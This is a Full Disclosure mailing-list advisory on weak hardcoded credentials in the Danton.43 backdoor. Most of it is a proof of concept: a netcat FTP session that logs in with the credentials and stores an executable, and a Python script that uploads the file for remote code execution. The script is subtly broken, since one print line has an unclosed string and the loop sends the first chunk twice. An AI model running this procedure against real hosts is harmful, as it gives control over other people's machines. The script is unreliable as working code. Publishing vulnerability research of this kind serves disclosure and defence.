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Date: Fri, 14 May 2021 14:12:41 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Danton.43 / Weak Hardcoded Credentials RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/85f7ef2b6b8da9adb7723a13b91ac1c7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Danton.43
Vulnerability: Weak Hardcoded Credentials RCE
Description: The malware listens on TCP port 6974 and stores several pairs
of weak hardcoded credentials in plaintext within the executable. First
username / password combination is stored as TDanton, TDanton by removing
the "T" we get valid creds of Danton, Danton to logon. Other credential
pairs are Danton2 Danton2, Danton3 Danton, Danton4 Danton. They can be
found by running strings util against the malware executable. Attackers may
then upload executables using ftp PASV, STOR commands, this can result in
remote code execution.
Type: PE32
MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7
Vuln ID: MVID-2021-0211
Disclosure: 05/14/2021

Exploit/PoC:
1) Logon

nc64.exe 192.168.18.127 6974
220 [ www.danton.prv.pl ]
USER Danton
331 Password required for Danton.
PASS Danton
230 User Danton logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,64,1).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


2) Calculate port and run upload script.

from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 64*256 + 1 = 16385
PORT=16385
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Backdoor.Win32.Danton.43 / Weak Hardcoded Credentials RCE)
    print("MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7")
    print("By Malvuln");

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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